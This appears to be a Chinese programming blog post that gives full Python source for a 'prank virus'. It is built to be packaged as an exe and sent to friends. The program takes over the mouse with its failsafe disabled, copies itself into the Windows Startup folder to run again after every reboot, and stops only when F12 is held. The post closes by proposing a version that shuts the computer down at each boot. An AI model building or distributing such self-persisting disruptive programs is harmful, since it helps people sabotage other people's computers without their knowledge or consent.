python程序大全(9)——鼠标乱动恶搞小病毒(有资源)

2023-12-10 02:05

本文主要是介绍python程序大全(9)——鼠标乱动恶搞小病毒(有资源),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

🏆一、前言

🏆二、程序第一版

🏆三、程序大魔改

🚩1、基础改动

🚩2、打包

🚩3、F12保护机制

🚩4、添加开机自启项

🚩5、自己也不懂的线程魔改

🏆四、最终代码

🏆五、尾声

🏆一、前言

(程序源码在最终代码部分。)

(本文配有资源现成的exe,可以直接转发给好友)

(模块:pyautogui,keyboard,sys,shutil,random,os,threading)

(该程序因为不完全是本人写的,所以讲解不怎么好,可忽略)

又是好几个月没写文了,然后发生了一件特别有趣的事想起来了。

自己在远古时代写了一个pyautogui的鼠标乱动程序,最近学了打包,然后就把程序打包下来发给我的QQ好友。

我的好友打开这个程序了之后,鼠标乱点刚好点到他的游戏,帮他直接开了一把,还从黄金掉到白银了哈哈哈哈哈哈

然后就拿着这个程序找我同学,花一天时间将程序大改良,成功做出了一个小型病毒。

程序实现了:

1.运行后鼠标乱动,无法控制。

2.长按F12可以解除。

3.添加开机启动项,重启后继续运行。

🏆二、程序第一版

import pyautogui as gui
import random as r
gui.FAILSAFE =True
a=0
while a<=100:b=r.randint(1,3)if b==1:gui.moveTo(r.randint(1,1919),r.randint(1,1079))if b==2:gui.click(r.randint(1,1919),r.randint(1,1079),button='left')if b==3:gui.dragTo(r.randint(1,1919),r.randint(1,1079))a+=1

这是我做的第一版程序,鼠标可以乱动乱点乱拖100次。后面感觉有点伤害电脑就把乱点乱拖去掉了,只能乱动。

先了解一下pyautogui模块:这是一个自动化脚本模块,内有可以操控自己的鼠标和键盘的函数。详情可以在我的主页查找python详解(6)这篇文章。

配置pyautogui模块,只需输入pip install pyautogui即可。

本程序第三行中的FAILSAFE是一个安全变量,把他设置为True,只要鼠标运行时用力往左上角拖就不会报错。默认为True。

第8行的moveTo函数有移动鼠标到指定坐标的作用。显示器的坐标通常是1920*1080。

第10行的click函数有在指定坐标单机的作用。button参数为单机的鼠标键。button='right'就会单机鼠标右键。

第12行的dragTo有长按鼠标,移动到指定坐标,再松开鼠标的作用,说人话就是拖动。

这个程序要说那里都不错,就是没有实现做出来的意义:打包出来去坑人!

🏆三、程序大魔改

想要把程序拿去坑人,就必须进行打包变成exe格式,这样即使对方的电脑没有对应模块,甚至没有python也能运行。

结果我打包的时候不知道什么原因总是一运行就闪退,于是求助我的同学,结果他直接帮我把程序进行了大魔改:

🚩1、基础改动

将程序做了一些基础改动:gui.FAILSAFE调整为False;将鼠标的点击拖动程序去掉;循环次数直接改成无限次。这些都是小改动,不是重点。

🚩2、打包

打包程序最常用的模块就是pyinstaller。还是万能的pip install安装。

在cmd界面输入:

pyinstaller -F 要打包文件的路径

等待他把一大串东西输出完,文件就打包到了Administrator里面,点开里面的dist文件夹,里面的exe程序就是打包好的程序,双击就可以运行。

不知道什么原因我打包带有pyautogui的程序总是出问题,但是其他程序可以。我同学打包pyautogui程序也可以,就很难评。

🚩3、F12保护机制

代码要实现:侦测到按下F12之后退出程序。

keyboard模块里面(还是需要pip安装)有一个函数:

keyboard.is_pressed()

他将会侦测一个键盘按键是否被按下。是则返回True。

sys模块里面有exit()函数,可以关闭该窗口。

于是,我们可以设置一个鼠标移动的函数:

def move():while True:if keyboard.is_pressed('F12') == True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))

大功告成!

🚩4、添加开机自启项

要想程序开机自启,有一个神奇的路径:

r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

只要把文件放在这个路径里面,程序就会开机自启。这里又要用到其他模块了:shutil(第三方)还有sys。

shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")

这段代码可以将该文件复制到开启自启项里。

然后呢,就有一个问题:这个文件开机自启之后,会再运行一遍这个添加开机自启的程序,因为这个程序已经在开机自启项里面了,所以会报错。接下来,要用到万能的os模块:

os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 

这串代码可以返回检索文件结果。如果找到这个文件了就返回True。这样我们可以进行控制:

f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:#如果包含该文件try:if __name__ == "__main__":待补充except Exception as e:#这个地方是出现报错的时候了解报错情况用的print(e)
else:#如果不包含该文件shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")#直接添加while True:move()

🚩5、自己也不懂的线程魔改

多线程实在看不懂学不会。我同学本人的描述是:

就是创建一个线程,如果之后要加功能的话,也方便,直接扔线程池就完事儿了,创建一个线程,应该也可以避免部分崩溃罢。

然后把上述代码魔改成了这样:

threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:try:if __name__ == "__main__":for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")while True:move()

看不懂一点,不过能用就行。

🏆四、最终代码

import pyautogui as gui
gui.FAILSAFE = False
import keyboard
import sys
import shutil
import random as r
import os
import threading
def move():while True:if keyboard.is_pressed('F12') == True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))
threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:try:if __name__ == "__main__":for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")while True:move()

28行代码,我和同学两个人讨论了1天半,最终还是实现了。只要配置好所有模块打包下来就能用辣!

🏆五、尾声

程序实用性还是不咋的,杀伤力太小,其实可以在这个基础上做一个开机自启关机的程序,直接毒死所有人。

感谢观看!

--------------------------------------------------------end-------------------------------------------------

这篇关于python程序大全(9)——鼠标乱动恶搞小病毒(有资源)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/475731

相关文章

Python中模块graphviz使用入门

《Python中模块graphviz使用入门》graphviz是一个用于创建和操作图形的Python库,本文主要介绍了Python中模块graphviz使用入门,具有一定的参考价值,感兴趣的可以了解一... 目录1.安装2. 基本用法2.1 输出图像格式2.2 图像style设置2.3 属性2.4 子图和聚

Python使用Matplotlib绘制3D曲面图详解

《Python使用Matplotlib绘制3D曲面图详解》:本文主要介绍Python使用Matplotlib绘制3D曲面图,在Python中,使用Matplotlib库绘制3D曲面图可以通过mpl... 目录准备工作绘制简单的 3D 曲面图绘制 3D 曲面图添加线框和透明度控制图形视角Matplotlib

一文教你Python如何快速精准抓取网页数据

《一文教你Python如何快速精准抓取网页数据》这篇文章主要为大家详细介绍了如何利用Python实现快速精准抓取网页数据,文中的示例代码简洁易懂,具有一定的借鉴价值,有需要的小伙伴可以了解下... 目录1. 准备工作2. 基础爬虫实现3. 高级功能扩展3.1 抓取文章详情3.2 保存数据到文件4. 完整示例

使用Python实现IP地址和端口状态检测与监控

《使用Python实现IP地址和端口状态检测与监控》在网络运维和服务器管理中,IP地址和端口的可用性监控是保障业务连续性的基础需求,本文将带你用Python从零打造一个高可用IP监控系统,感兴趣的小伙... 目录概述:为什么需要IP监控系统使用步骤说明1. 环境准备2. 系统部署3. 核心功能配置系统效果展

基于Python打造一个智能单词管理神器

《基于Python打造一个智能单词管理神器》这篇文章主要为大家详细介绍了如何使用Python打造一个智能单词管理神器,从查询到导出的一站式解决,感兴趣的小伙伴可以跟随小编一起学习一下... 目录1. 项目概述:为什么需要这个工具2. 环境搭建与快速入门2.1 环境要求2.2 首次运行配置3. 核心功能使用指

Python实现微信自动锁定工具

《Python实现微信自动锁定工具》在数字化办公时代,微信已成为职场沟通的重要工具,但临时离开时忘记锁屏可能导致敏感信息泄露,下面我们就来看看如何使用Python打造一个微信自动锁定工具吧... 目录引言:当微信隐私遇到自动化守护效果展示核心功能全景图技术亮点深度解析1. 无操作检测引擎2. 微信路径智能获

Python中pywin32 常用窗口操作的实现

《Python中pywin32常用窗口操作的实现》本文主要介绍了Python中pywin32常用窗口操作的实现,pywin32主要的作用是供Python开发者快速调用WindowsAPI的一个... 目录获取窗口句柄获取最前端窗口句柄获取指定坐标处的窗口根据窗口的完整标题匹配获取句柄根据窗口的类别匹配获取句

利用Python打造一个Excel记账模板

《利用Python打造一个Excel记账模板》这篇文章主要为大家详细介绍了如何使用Python打造一个超实用的Excel记账模板,可以帮助大家高效管理财务,迈向财富自由之路,感兴趣的小伙伴快跟随小编一... 目录设置预算百分比超支标红预警记账模板功能介绍基础记账预算管理可视化分析摸鱼时间理财法碎片时间利用财

Python中的Walrus运算符分析示例详解

《Python中的Walrus运算符分析示例详解》Python中的Walrus运算符(:=)是Python3.8引入的一个新特性,允许在表达式中同时赋值和返回值,它的核心作用是减少重复计算,提升代码简... 目录1. 在循环中避免重复计算2. 在条件判断中同时赋值变量3. 在列表推导式或字典推导式中简化逻辑

python处理带有时区的日期和时间数据

《python处理带有时区的日期和时间数据》这篇文章主要为大家详细介绍了如何在Python中使用pytz库处理时区信息,包括获取当前UTC时间,转换为特定时区等,有需要的小伙伴可以参考一下... 目录时区基本信息python datetime使用timezonepandas处理时区数据知识延展时区基本信息